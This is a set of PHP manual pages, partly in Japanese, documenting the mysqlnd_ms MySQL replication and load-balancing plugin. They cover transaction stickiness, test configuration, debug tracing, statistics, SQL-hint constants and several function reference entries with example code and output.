The setting requires 5.4.0 or newer. If used with PHP older than 5.4.0, the plugin will emit a warning like (mysqlnd_ms) trx_stickiness strategy is not supported before PHP 5.3.99.

If no transaction stickiness policy is set or, if setting trx_stickiness=disabled, the plugin is not transaction aware. Thus, the plugin may load balance connections and switch connections in the middle of a transaction. The plugin is not transaction safe. SQL hints must be used avoid connection switches during a transaction.

As of PHP 5.4.0 the mysqlnd library allows the plugin to monitor the autocommit mode set by calls to the libraries trx_autocommit() function. If setting trx_stickiness=master and autocommit gets disabled by a PHP MySQL extension invoking the mysqlnd library internal function call trx_autocommit(), the plugin is made aware of the begin of a transaction. Then, the plugin stops load balancing and directs all statements to the master server until autocommit is enabled. Thus, no SQL hints are required.

An example of a PHP MySQL API function calling the mysqlnd library internal function call trx_autocommit() is mysqli_autocommit().

Although setting trx_stickiness=master, the plugin cannot be made aware of autocommit mode changes caused by SQL statements such as SET AUTOCOMMIT=0.

Testing

注意:

The section applies to mysqlnd_ms 1.1.0 or newer, not the 1.0 series.

The PECL/mysqlnd_ms test suite is in the tests/ directory of the source distribution. The test suite consists of standard phpt tests, which are described on the PHP Quality Assurance Teams website.

Running the tests requires setting up one to four MySQL servers. Some tests don't connect to MySQL at all. Others require one server for testing. Some require two distinct servers. In some cases two servers are used to emulate a replication setup. In other cases a master and a slave of an existing MySQL replication setup are required for testing. The tests will try to detect how many servers and what kind of servers are given. If the required servers are not found, the test will be skipped automatically.

Before running the tests, edit tests/config.inc to configure the MySQL servers to be used for testing.

The most basic configuration is as follows.

 putenv("MYSQL_TEST_HOST=localhost");
 putenv("MYSQL_TEST_PORT=3306");
 putenv("MYSQL_TEST_USER=root");
 putenv("MYSQL_TEST_PASSWD=");
 putenv("MYSQL_TEST_DB=test");
 putenv("MYSQL_TEST_ENGINE=MyISAM");
 putenv("MYSQL_TEST_SOCKET=");

 putenv("MYSQL_TEST_SKIP_CONNECT_FAILURE=1");
 putenv("MYSQL_TEST_CONNECT_FLAGS=0");
 putenv("MYSQL_TEST_EXPERIMENTAL=0");

 /* replication cluster emulation */
 putenv("MYSQL_TEST_EMULATED_MASTER_HOST=". getenv("MYSQL_TEST_HOST"));
 putenv("MYSQL_TEST_EMULATED_SLAVE_HOST=". getenv("MYSQL_TEST_HOST"));

 /* real replication cluster */
 putenv("MYSQL_TEST_MASTER_HOST=". getenv("MYSQL_TEST_EMULATED_MASTER_HOST"));
 putenv("MYSQL_TEST_SLAVE_HOST=". getenv("MYSQL_TEST_EMULATED_SLAVE_HOST"));

MYSQL_TEST_HOST, MYSQL_TEST_PORT and MYSQL_TEST_SOCKET define the hostname, TCP/IP port and Unix domain socket of the default database server. MYSQL_TEST_USER and MYSQL_TEST_PASSWD contain the user and password needed to connect to the database/schema configured with MYSQL_TEST_DB. All configured servers must have the same database user configured to give access to the test database.

Using host, host:port or host:/path/to/socket syntax one can set an alternate host, host and port or host and socket for any of the servers.

putenv("MYSQL_TEST_SLAVE_HOST=192.168.78.136:3307"));
putenv("MYSQL_TEST_MASTER_HOST=myserver_hostname:/path/to/socket"));

Debugging and Tracing

The mysqlnd debug log can be used to debug and trace the actitivities of PECL/mysqlnd_ms. As a mysqlnd PECL/mysqlnd_ms adds trace information to the mysqlnd library debug file. Please, see the mysqlnd.debug PHP configuration directive documentation for a detailed description on how to configure the debug log.

Configuration setting example to activate the debug log:

mysqlnd.debug=d:t:x:O,/tmp/mysqlnd.trace

注意:

This feature is only available with a debug build of PHP. Works on Microsoft Windows if using a debug build of PHP and PHP was built using Microsoft Visual C version 9 and above.

The debug log shows mysqlnd library and PECL/mysqlnd_ms plugin function calls, similar to a trace log. Mysqlnd library calls are usually prefixed with mysqlnd_. PECL/mysqlnd internal calls begin with mysqlnd_ms.

Example excerpt from the debug log (connect):

[...]
>mysqlnd_connect
| info : host=myapp user=root db=test port=3306 flags=131072
| >mysqlnd_ms::connect
| | >mysqlnd_ms_config_json_section_exists
| | | info : section=[myapp] len=[5]
| | | >mysqlnd_ms_config_json_sub_section_exists
| | | | info : section=[myapp] len=[5]
| | | | info : ret=1
| | | <mysqlnd_ms_config_json_sub_section_exists
| | | info : ret=1
| | <mysqlnd_ms_config_json_section_exists
[...]

The debug log is not only useful for plugin developers but also to find the cause of user errors. For example, if your application does not do proper error handling and fails to record error messages, checking the debug and trace log may help finding the cause. Use of the debug log to debug application issues should be considered only if no other option is available. Writing the debug log to disk is a slow operation and may have negative impact on the application performance.

Example excerpt from the debug log (connection failure):

[...]
| | | | | | | info : adding error [Access denied for user 'root'@'localhost' (using password: YES)] to the list
| | | | | | | info : PACKET_FREE(0)
| | | | | | | info : PACKET_FREE(0x7f3ef6323f50)
| | | | | | | info : PACKET_FREE(0x7f3ef6324080)
| | | | | | <mysqlnd_auth_handshake
| | | | | | info : switch_to_auth_protocol=n/a
| | | | | | info : conn->error_info.error_no = 1045
| | | | | <mysqlnd_connect_run_authentication
| | | | | info : PACKET_FREE(0x7f3ef63236d8)
| | | | | >mysqlnd_conn::free_contents
| | | | | | >mysqlnd_net::free_contents
| | | | | | <mysqlnd_net::free_contents
| | | | | | info : Freeing memory of members
| | | | | | info : scheme=unix:///tmp/mysql.sock
| | | | | | >mysqlnd_error_list_pdtor
| | | | | | <mysqlnd_error_list_pdtor
| | | | | <mysqlnd_conn::free_contents
| | | | <mysqlnd_conn::connect
[...]

The trace log can also be used to verify correct behaviour of PECL/mysqlnd_ms itself, for example, to check which server has been selected for query execution and why.

Example excerpt from the debug log (plugin decision):

[...]
>mysqlnd_ms::query
| info : query=DROP TABLE IF EXISTS test
| >_mysqlnd_plugin_get_plugin_connection_data
| | info : plugin_id=5
| <_mysqlnd_plugin_get_plugin_connection_data
| >mysqlnd_ms_pick_server_ex
| | info : conn_data=0x7fb6a7d3e5a0 *conn_data=0x7fb6a7d410d0
| | >mysqlnd_ms_select_servers_all
| | <mysqlnd_ms_select_servers_all
| | >mysqlnd_ms_choose_connection_rr
| | | >mysqlnd_ms_query_is_select
[...]
| | | <mysqlnd_ms_query_is_select
[...]
| | | info : Init the master context
| | | info : list(0x7fb6a7d3f598) has 1
| | | info : Using master connection
| | | >mysqlnd_ms_advanced_connect
| | | | >mysqlnd_conn::connect
| | | | | info : host=localhost user=root db=test port=3306 flags=131072 persistent=0 state=0

In this case the statement DROP TABLE IF EXISTS test has been executed. Note that the statement string is shown in the log file. You may want to take measures to restrict access to the log for security considerations.

The statement has been load balanced using round robin policy, as you can easily guess from the functions name >mysqlnd_ms_choose_connection_rr. It has been sent to a master server running on host=localhost user=root db=test port=3306 flags=131072 persistent=0 state=0.

Monitoring

Plugin activity can be monitored using the mysqlnd trace log, mysqlnd statistics, mysqlnd_ms plugin statistics and external PHP debugging tools. Use of the trace log should be limited to debugging. It is recommended to use the plugins statistics for monitoring.

Writing a trace log is a slow operation. If using an external PHP debugging tool, please refer to the vendors manual about its performance impact and the type of information collected. In many cases, external debugging tools will provide call stacks. Often, a call stack or a trace log is more difficult to interpret than the statistics provided by the plugin.

Plugin statistics tell how often which kind of cluster node has been used (slave or master), why the node was used, if lazy connections have been used and if global transaction ID injection has been performed. The monitoring information provided enables user to verify plugin decisions and to plan their cluster resources based on usage pattern. The function mysqlnd_ms_get_stats() is used to access the statistics. Please, see the functions description for a list of available statistics.

Statistics are collected on a per PHP process basis. Their scope is a PHP process. Depending on the PHP deployment model a process may serve one or multiple web requests. If using CGI model, a PHP process serves one web request. If using FastCGI or pre-fork web server models, a PHP process usually serves multiple web requests. The same is the case with a threaded web server. Please, note that threads running in parallel can update the statistics in parallel. Thus, if using a threaded PHP deployment model, statistics can be changed by more than one script at a time. A script cannot rely on the fact that it sees only its own changes to statistics.

例38 Verify plugin activity in a non-threaded deployment model

mysqlnd_ms.enable=1
mysqlnd_ms.collect_statistics=1
<?php
/* Load balanced following "myapp" section rules from the plugins config file (not shown) */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

$stats_before = mysqlnd_ms_get_stats();
if ($res = $mysqli->query("SELECT 'Read request' FROM DUAL")) {
  var_dump($res->fetch_all());
}
$stats_after = mysqlnd_ms_get_stats();
if ($stats_after['use_slave'] <= $stats_before['use_slave']) {
  echo "According to the statistics the read request has not been run on a slave!";
}
?>

Statistics are aggregated for all plugin activities and all connections handled by the plugin. It is not possible to tell how much a certain connection handle has contributed to the overall statistics.

Utilizing PHPs register_shutdown_function() function or the auto_append_file PHP configuration directive it is easily possible to dump statistics into, for example, a log file when a script finishes. Instead of using a log file it is also possible to send the statistics to an external monitoring tool for recording and display.

例39 Recording statistics during shutdown

mysqlnd_ms.enable=1
mysqlnd_ms.collect_statistics=1
error_log=/tmp/php_errors.log
<?php
function check_stats() {
  $msg = str_repeat("-", 80) . "\n";
  $msg .= var_export(mysqlnd_ms_get_stats(), true) . "\n";
  $msg .= str_repeat("-", 80) . "\n";
  error_log($msg);
}
register_shutdown_function("check_stats");
?>

User Contributed Notes

jack dot peterson at gmail dot com 06-Feb-2012 10:11
In order to use doctrine 2.1+ with mysqlnd_ms lazy_connections must be disabled. Otherwise a warning will be thrown &amp; no query processed:
Warning: PDOStatement::execute(): (mysqlnd_ms) string escaping doesn't work without established connection.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SQL hint related

例1 Example demonstrating the usage of mysqlnd_ms constants

The mysqlnd replication and load balancing plugin (mysqlnd_ms) performs read/write splitting. This directs write queries to a MySQL master server, and read-only queries to the MySQL slave servers. The plugin has a built-in read/write split logic. All queries which start with SELECT are considered read-only queries, which are then sent to a MySQL slave server that is listed in the plugin configuration file. All other queries are directed to the MySQL master server that is also specified in the plugin configuration file.

User supplied SQL hints can be used to overrule automatic read/write splitting, to gain full control on the process. SQL hints are standards compliant SQL comments. The plugin will scan the beginning of a query string for an SQL comment for certain commands, which then control query redirection. Other systems involved in the query processing are unaffected by the SQL hints because other systems will ignore the SQL comments.

The plugin supports three SQL hints to direct queries to either the MySQL slave servers, the MySQL master server, or the last used MySQL server. SQL hints must be placed at the beginning of a query to be recognized by the plugin.

For better portability, it is recommended to use the string constants MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH and MYSQLND_MS_LAST_USED_SWITCH instead of their literal values.

<?php
/* Use constants for maximum portability */
$master_query = "/*" . MYSQLND_MS_MASTER_SWITCH . "*/SELECT id FROM test";

/* Valid but less portable: using literal instead of constant */
$slave_query = "/*ms=slave*/SHOW TABLES";

printf("master_query = '%s'\n", $master_query);
printf("slave_query = '%s'\n", $slave_query);
?>

上の例の出力は以下となります。

master_query = /*ms=master*/SELECT id FROM test
slave_query = /*ms=slave*/SHOW TABLES

MYSQLND_MS_MASTER_SWITCH (string)
SQL hint used to send a query to the MySQL replication master server.
MYSQLND_MS_SLAVE_SWITCH (string)
SQL hint used to send a query to one of the MySQL replication slave servers.
MYSQLND_MS_LAST_USED_SWITCH (string)
SQL hint used to send a query to the last used MySQL server. The last used MySQL server can either be a master or a slave server in a MySQL replication setup.

mysqlnd_ms_query_is_select() related

MYSQLND_MS_QUERY_USE_MASTER (int)
If mysqlnd_ms_is_select() returns MYSQLND_MS_QUERY_USE_MASTER for a given query, the built-in read/write split mechanism recommends sending the query to a MySQL replication master server.
MYSQLND_MS_QUERY_USE_SLAVE (int)
If mysqlnd_ms_is_select() returns MYSQLND_MS_QUERY_USE_SLAVE for a given query, the built-in read/write split mechanism recommends sending the query to a MySQL replication slave server.
MYSQLND_MS_QUERY_USE_LAST_USED (int)
If mysqlnd_ms_is_select() returns MYSQLND_MS_QUERY_USE_LAST_USED for a given query, the built-in read/write split mechanism recommends sending the query to the last used server.

mysqlnd_ms_set_qos(), quality of service filter and service level related

MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL (int)
Use to request the service level eventual consistency from the mysqlnd_ms_set_qos(). Eventual consistency is the default quality of service when reading from an asynchronous MySQL replication slave. Data returned in this service level may or may not be stale, depending on whether the selected slaves happen to have replicated the latest changes from the MySQL replication master or not.
MYSQLND_MS_QOS_CONSISTENCY_SESSION (int)
Use to request the service level session consistency from the mysqlnd_ms_set_qos(). Session consistency is defined as read your writes. The client is guaranteed to see his latest changes.
MYSQLND_MS_QOS_CONSISTENCY_STRONG (int)
Use to request the service level strong consistency from the mysqlnd_ms_set_qos(). Strong consistency is used to ensure all clients see each others changes.
MYSQLND_MS_QOS_OPTION_GTID (int)
Used as a service level option with mysqlnd_ms_set_qos() to parameterize session consistency.
MYSQLND_MS_QOS_OPTION_AGE (int)
Used as a service level option with mysqlnd_ms_set_qos() to parameterize eventual consistency.

Other

The plugins version number can be obtained using MYSQLND_MS_VERSION or MYSQLND_MS_VERSION_ID. MYSQLND_MS_VERSION is the string representation of the numerical version number MYSQLND_MS_VERSION_ID, which is an integer such as 10000. Developers can calculate the version number as follows.

Version (part) | Example
Major*10000 | 1*10000 = 10000
Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_MS_VERSION_ID | 10000

MYSQLND_MS_VERSION (string)
Plugin version string, for example, 1.0.0-prototype.
MYSQLND_MS_VERSION_ID (int)
Plugin version number, for example, 10000.

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd_ms 関数

目次

  • mysqlnd_ms_dump_servers — Returns a list of currently configured servers
  • mysqlnd_ms_fabric_select_global — Switch to global sharding server for a given table
  • mysqlnd_ms_fabric_select_shard — Switch to shard
  • mysqlnd_ms_get_last_gtid — Returns the latest global transaction ID
  • mysqlnd_ms_get_last_used_connection — Returns an array which describes the last used connection
  • mysqlnd_ms_get_stats — Returns query distribution and connection statistics
  • mysqlnd_ms_match_wild — Finds whether a table name matches a wildcard pattern or not
  • mysqlnd_ms_query_is_select — Find whether to send the query to the master, the slave or the last used MySQL server
  • mysqlnd_ms_set_qos — Sets the quality of service needed from the cluster
  • mysqlnd_ms_set_user_pick_server — Sets a callback for user-defined read/write splitting
  • mysqlnd_ms_xa_begin — Starts a distributed/XA transaction among MySQL servers
  • mysqlnd_ms_xa_commit — Commits a distributed/XA transaction among MySQL servers
  • mysqlnd_ms_xa_gc — Garbage collects unfinished XA transactions after severe errors
  • mysqlnd_ms_xa_rollback — Rolls back a distributed/XA transaction among MySQL servers

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of currently configured servers

  • ≪ Mysqlnd_ms 関数
  • mysqlnd_ms_fabric_select_global ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Returns a list of currently configured servers

mysqlnd_ms_dump_servers

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

mysqlnd_ms_dump_servers — Returns a list of currently configured servers

説明

mysqlnd_ms_dump_servers ( mixed $connection ) : array

Returns a list of currently configured servers.

パラメータ

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

返り値

false on error. Otherwise, returns an array with two entries masters and slaves each of which contains an array listing all corresponding servers.

The function can be used to check and debug the list of servers currently used by the plugin. It is mostly useful when the list of servers changes at runtime, for example, when using MySQL Fabric.

masters and slaves server entries

Key | Description | Version
name_from_config | Server entry name from config, if appliciable. NULL if no configuration name is available. | Since 1.6.0.
hostname | Host name of the server. | Since 1.6.0.
user | Database user used to authenticate against the server. | Since 1.6.0.
port | TCP/IP port of the server. | Since 1.6.0.
socket | Unix domain socket of the server. | Since 1.6.0.

注意

注意:

mysqlnd_ms_dump_servers() requires PECL mysqlnd_ms >> 1.6.0.

例

例1 mysqlnd_ms_dump_servers() example

{
    "myapp": {
        "master": {
            "master1": {
                "host":"master1_host",
                "port":"master1_port",
                "socket":"master1_socket",
                "db":"master1_db",
                "user":"master1_user",
                "password":"master1_pw"
            }
        },
        "slave": {
             "slave_0": {
                 "host":"slave0_host",
                 "port":"slave0_port",
                 "socket":"slave0_socket",
                 "db":"slave0_db",
                 "user":"slave0_user",
                 "password":"slave0_pw"
             },
             "slave_1": {
                 "host":"slave1_host"
             }
        }
    }
}
<?php
$link = mysqli_connect("myapp", "global_user", "global_pass", "global_db", 1234, "global_socket");
var_dump(mysqlnd_ms_dump_servers($link);
?>

上の例の出力は以下となります。

array(2) {
  ["masters"]=>
  array(1) {
    [0]=>
    array(5) {
      ["name_from_config"]=>
      string(7) "master1"
      ["hostname"]=>
      string(12) "master1_host"
      ["user"]=>
      string(12) "master1_user"
      ["port"]=>
      int(3306)
      ["socket"]=>
      string(14) "master1_socket"
    }
  }
  ["slaves"]=>
  array(2) {
    [0]=>
    array(5) {
      ["name_from_config"]=>
      string(7) "slave_0"
      ["hostname"]=>
      string(11) "slave0_host"
      ["user"]=>
      string(11) "slave0_user"
      ["port"]=>
      int(3306)
      ["socket"]=>
      string(13) "slave0_socket"
    }
    [1]=>
    array(5) {
      ["name_from_config"]=>
      string(7) "slave_1"
      ["hostname"]=>
      string(11) "slave1_host"
      ["user"]=>
      string(12) "gloabal_user"
      ["port"]=>
      int(1234)
      ["socket"]=>
      string(13) "global_socket"
    }
  }
}

User Contributed Notes

Vladimir 12-Sep-2014 04:00
Shouldn't it be:

var_dump(mysqlnd_ms_dump_servers($link));
?


Switch to global sharding server for a given table

  • ≪ mysqlnd_ms_dump_servers
  • mysqlnd_ms_fabric_select_shard ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Switch to global sharding server for a given table

mysqlnd_ms_fabric_select_global

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

mysqlnd_ms_fabric_select_global — Switch to global sharding server for a given table

説明

mysqlnd_ms_fabric_select_global ( mixed $connection , mixed $table_name ) : array
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

MySQL Fabric related.

Switch the connection to the nodes handling global sharding queries for the given table name.

パラメータ

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

table_name

The table name to ask Fabric about.

返り値

false on error. Otherwise, true

注意

注意:

mysqlnd_ms_fabric_select_global() requires PECL mysqlnd_ms >> 1.6.0.

User Contributed Notes

There are no user contributed notes for this page.


Switch to shard

  • ≪ mysqlnd_ms_fabric_select_global
  • mysqlnd_ms_get_last_gtid ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Switch to shard

mysqlnd_ms_fabric_select_shard

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

mysqlnd_ms_fabric_select_shard — Switch to shard

説明

mysqlnd_ms_fabric_select_shard ( mixed $connection , mixed $table_name , mixed $shard_key ) : array
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

MySQL Fabric related.

Switch the connection to the shards responsible for the given table name and shard key.

パラメータ

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

table_name

The table name to ask Fabric about.

shard_key

The shard key to ask Fabric about.

返り値

false on error. Otherwise, true

注意

注意:

mysqlnd_ms_fabric_select_shard() requires PECL mysqlnd_ms >> 1.6.0.

User Contributed Notes

There are no user contributed notes for this page.


Returns the latest global transaction ID

  • ≪ mysqlnd_ms_fabric_select_shard
  • mysqlnd_ms_get_last_used_connection ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Returns the latest global transaction ID

mysqlnd_ms_get_last_gtid

(PECL mysqlnd_ms >= 1.2.0)

mysqlnd_ms_get_last_gtid — Returns the latest global transaction ID

説明

mysqlnd_ms_get_last_gtid ( mixed $connection ) : string

Returns a global transaction identifier which belongs to a write operation no older than the last write performed by the client. It is not guaranteed that the global transaction identifier is identical to that one created for the last write transaction performed by the client.

パラメータ

connection

A PECL/mysqlnd_ms connection handle to a MySQL server of the type PDO_MYSQL, mysqli> or ext/mysql. The connection handle is obtained when opening a connection with a host name that matches a mysqlnd_ms configuration file entry using any of the above three MySQL driver extensions.

返り値

Returns a global transaction ID (GTID) on success. Otherwise, returns false.

The function mysqlnd_ms_get_last_gtid() returns the GTID obtained when executing the SQL statement from the fetch_last_gtid entry of the global_transaction_id_injection section from the plugins configuration file.

The function may be called after the GTID has been incremented.

注意

注意:

mysqlnd_ms_get_last_gtid() requires PHP >= 5.4.0 and PECL mysqlnd_ms >= 1.2.0. Internally, it is using a mysqlnd library C functionality not available with PHP 5.3.

Please note, all MySQL 5.6 production versions do not provide clients with enough information to use GTIDs for enforcing session consistency. In the worst case, the plugin will choose the master only.

例

例1 mysqlnd_ms_get_last_gtid() example

<?php
/* Open mysqlnd_ms connection using mysqli, PDO_MySQL or mysql extension */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("DROP TABLE IF EXISTS test"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("CREATE TABLE test(id INT)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));
?>

参考

  • Global Transaction IDs

User Contributed Notes

There are no user contributed notes for this page.


Returns an array which describes the last used connection

  • ≪ mysqlnd_ms_get_last_gtid
  • mysqlnd_ms_get_stats ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Returns an array which describes the last used connection

mysqlnd_ms_get_last_used_connection

(PECL mysqlnd_ms >= 1.1.0)

mysqlnd_ms_get_last_used_connection — Returns an array which describes the last used connection

説明

mysqlnd_ms_get_last_used_connection ( mixed $connection ) : array

Returns an array which describes the last used connection from the plugins connection pool currently pointed to by the user connection handle. If using the plugin, a user connection handle represents a pool of database connections. It is not possible to tell from the user connection handles properties to which database server from the pool the user connection handle points.

The function can be used to debug or monitor PECL mysqlnd_ms.

パラメータ

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

返り値

false on error. Otherwise, an array which describes the connection used to execute the last statement on.

Array which describes the connection.

Property | Description | Version
scheme | Connection scheme. Either tcp://host:port or unix://host:socket. If you want to distinguish connections from each other use a combination of scheme and thread_id as a unique key. Neither scheme nor thread_id alone are sufficient to distinguish two connections from each other. Two servers may assign the same thread_id to two different connections. Thus, connections in the pool may have the same thread_id. Also, do not rely on uniqueness of scheme in a pool. Your QA engineers may use the same MySQL server instance for two distinct logical roles and add it multiple times to the pool. This hack is used, for example, in the test suite. | Since 1.1.0.
host | Database server host used with the connection. The host is only set with TCP/IP connections. It is empty with Unix domain or Windows named pipe connections, | Since 1.1.0.
host_info | A character string representing the server hostname and the connection type. | Since 1.1.2.
port | Database server port used with the connection. | Since 1.1.0.
socket_or_pipe | Unix domain socket or Windows named pipe used with the connection. The value is empty for TCP/IP connections. | Since 1.1.2.
thread_id | Connection thread id. | Since 1.1.0.
last_message | Info message obtained from the MySQL C API function mysql_info(). Please, see mysqli_info() for a description. | Since 1.1.0.
errno | Error code. | Since 1.1.0.
error | Error message. | Since 1.1.0.
sqlstate | Error SQLstate code. | Since 1.1.0.

注意

注意:

mysqlnd_ms_get_last_used_connection() requires PHP >= 5.4.0 and PECL mysqlnd_ms >> 1.1.0. Internally, it is using a mysqlnd library C call not available with PHP 5.3.

例

The example assumes that myapp refers to a plugin configuration file section and represents a connection pool.

例1 mysqlnd_ms_get_last_used_connection() example

<?php
$link = new mysqli("myapp", "user", "password", "database");
$res = $link->query("SELECT 1 FROM DUAL");
var_dump(mysqlnd_ms_get_last_used_connection($link));
?>

上の例の出力は以下となります。

array(10) {
  ["scheme"]=>
  string(22) "unix:///tmp/mysql.sock"
  ["host_info"]=>
  string(25) "Localhost via UNIX socket"
  ["host"]=>
  string(0) ""
  ["port"]=>
  int(3306)
  ["socket_or_pipe"]=>
  string(15) "/tmp/mysql.sock"
  ["thread_id"]=>
  int(46253)
  ["last_message"]=>
  string(0) ""
  ["errno"]=>
  int(0)
  ["error"]=>
  string(0) ""
  ["sqlstate"]=>
  string(5) "00000"
}

User Contributed Notes

There are no user contributed notes for this page.


Returns query distribution and connection statistics

  • ≪ mysqlnd_ms_get_last_used_connection
  • mysqlnd_ms_match_wild ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Returns query distribution and connection statistics

mysqlnd_ms_get_stats

(PECL mysqlnd_ms >= 1.0.0)

mysqlnd_ms_get_stats — Returns query distribution and connection statistics

説明

mysqlnd_ms_get_stats ( ) : array

Returns an array of statistics collected by the replication and load balancing plugin.

The PHP configuration setting mysqlnd_ms.collect_statistics controls the collection of statistics. The collection of statistics is disabled by default for performance reasons.

The scope of the statistics is the PHP process. Depending on your deployment model a PHP process may handle one or multiple requests.

Statistics are aggregated for all connections and all storage handler. It is not possible to tell how much queries originating from mysqli, PDO_MySQL or mysql API calls have contributed to the aggregated data values.

パラメータ

この関数にはパラメータはありません。

返り値

Returns null if the PHP configuration directive mysqlnd_ms.enable has disabled the plugin. Otherwise, returns array of statistics.

Array of statistics

Statistic | Description | Version
use_slave

The semantics of this statistic has changed between 1.0.1 - 1.1.0.

The meaning for version 1.0.1 is as follows. Number of statements considered as read-only by the built-in query analyzer. Neither statements which begin with a SQL hint to force use of slave nor statements directed to a slave by an user-defined callback are included. The total number of statements sent to the slaves is use_slave + use_slave_sql_hint + use_slave_callback.

PECL/mysqlnd_ms 1.1.0 introduces a new concept of chained filters. The statistics is now set by the internal load balancing filter. With version 1.1.0 the load balancing filter is always the last in the filter chain, if used. In future versions a load balancing filter may be followed by other filters causing another change in the meaning of the statistic. If, in the future, a load balancing filter is followed by another filter it is no longer guaranteed that the statement, which increments use_slave, will be executed on the slaves.

The meaning for version 1.1.0 is as follows. Number of statements sent to the slaves. Statements directed to a slave by the user filter (an user-defined callback) are not included. The latter are counted by use_slave_callback.

Since 1.0.0.
use_master

The semantics of this statistic has changed between 1.0.1 - 1.1.0.

The meaning for version 1.0.1 is as follows. Number of statements not considered as read-only by the built-in query analyzer. Neither statements which begin with a SQL hint to force use of master nor statements directed to a master by an user-defined callback are included. The total number of statements sent to the master is use_master + use_master_sql_hint + use_master_callback.

PECL/mysqlnd_ms 1.1.0 introduces a new concept of chained filters. The statictics is now set by the internal load balancing filter. With version 1.1.0 the load balancing filter is always the last in the filter chain, if used. In future versions a load balancing filter may be followed by other filters causing another change in the meaning of the statistic. If, in the future, a load balancing filter is followed by another filter it is no longer guaranteed that the statement, which increments use_master, will be executed on the slaves.

The meaning for version 1.1.0 is as follows. Number of statements sent to the masters. Statements directed to a master by the user filter (an user-defined callback) are not included. The latter are counted by use_master_callback.

Since 1.0.0.
use_slave_guess | Number of statements the built-in query analyzer recommends sending to a slave because they contain no SQL hint to force use of a certain server. The recommendation may be overruled in the following. It is not guaranteed whether the statement will be executed on a slave or not. This is how often the internal is_select function has guessed that a slave shall be used. Please, see also the user space function mysqlnd_ms_query_is_select(). | Since 1.1.0.
use_master_guess | Number of statements the built-in query analyzer recommends sending to a master because they contain no SQL hint to force use of a certain server. The recommendation may be overruled in the following. It is not guaranteed whether the statement will be executed on a slave or not. This is how often the internal is_select function has guessed that a master shall be used. Please, see also the user space function mysqlnd_ms_query_is_select(). | Since 1.1.0.
use_slave_sql_hint | Number of statements sent to a slave because statement begins with the SQL hint to force use of slave. | Since 1.0.0.
use_master_sql_hint | Number of statements sent to a master because statement begins with the SQL hint to force use of master. | Since 1.0.0.
use_last_used_sql_hint | Number of statements sent to server which has run the previous statement, because statement begins with the SQL hint to force use of previously used server. | Since 1.0.0.
use_slave_callback | Number of statements sent to a slave because an user-defined callback has chosen a slave server for statement execution. | Since 1.0.0.
use_master_callback | Number of statements sent to a master because an user-defined callback has chosen a master server for statement execution. | Since 1.0.0.
non_lazy_connections_slave_success | Number of successfully opened slave connections from configurations not using lazy connections. The total number of successfully opened slave connections is non_lazy_connections_slave_success + lazy_connections_slave_success | Since 1.0.0.
non_lazy_connections_slave_failure | Number of failed slave connection attempts from configurations not using lazy connections. The total number of failed slave connection attempts is non_lazy_connections_slave_failure + lazy_connections_slave_failure | Since 1.0.0.
non_lazy_connections_master_success | Number of successfully opened master connections from configurations not using lazy connections. The total number of successfully opened master connections is non_lazy_connections_master_success + lazy_connections_master_success | Since 1.0.0.
non_lazy_connections_master_failure | Number of failed master connection attempts from configurations not using lazy connections. The total number of failed master connection attempts is non_lazy_connections_master_failure + lazy_connections_master_failure | Since 1.0.0.
lazy_connections_slave_success | Number of successfully opened slave connections from configurations using lazy connections. | Since 1.0.0.
lazy_connections_slave_failure | Number of failed slave connection attempts from configurations using lazy connections. | Since 1.0.0.
lazy_connections_master_success | Number of successfully opened master connections from configurations using lazy connections. | Since 1.0.0.
lazy_connections_master_failure | Number of failed master connection attempts from configurations using lazy connections. | Since 1.0.0.
trx_autocommit_on | Number of autocommit mode activations via API calls. This figure may be used to monitor activity related to the plugin configuration setting trx_stickiness. If, for example, you want to know if a certain API call invokes the mysqlnd library function trx_autocommit(), which is a requirement for trx_stickiness, you may call the user API function in question and check if the statistic has changed. The statistic is modified only by the plugins internal subclassed trx_autocommit() method. | Since 1.0.0.
trx_autocommit_off | Number of autocommit mode deactivations via API calls. | Since 1.0.0.
trx_master_forced | Number of statements redirected to the master while trx_stickiness=master and autocommit mode is disabled. | Since 1.0.0.
gtid_autocommit_injections_success | Number of successful SQL injections in autocommit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
gtid_autocommit_injections_failure | Number of failed SQL injections in autocommit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
gtid_commit_injections_success | Number of successful SQL injections in commit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
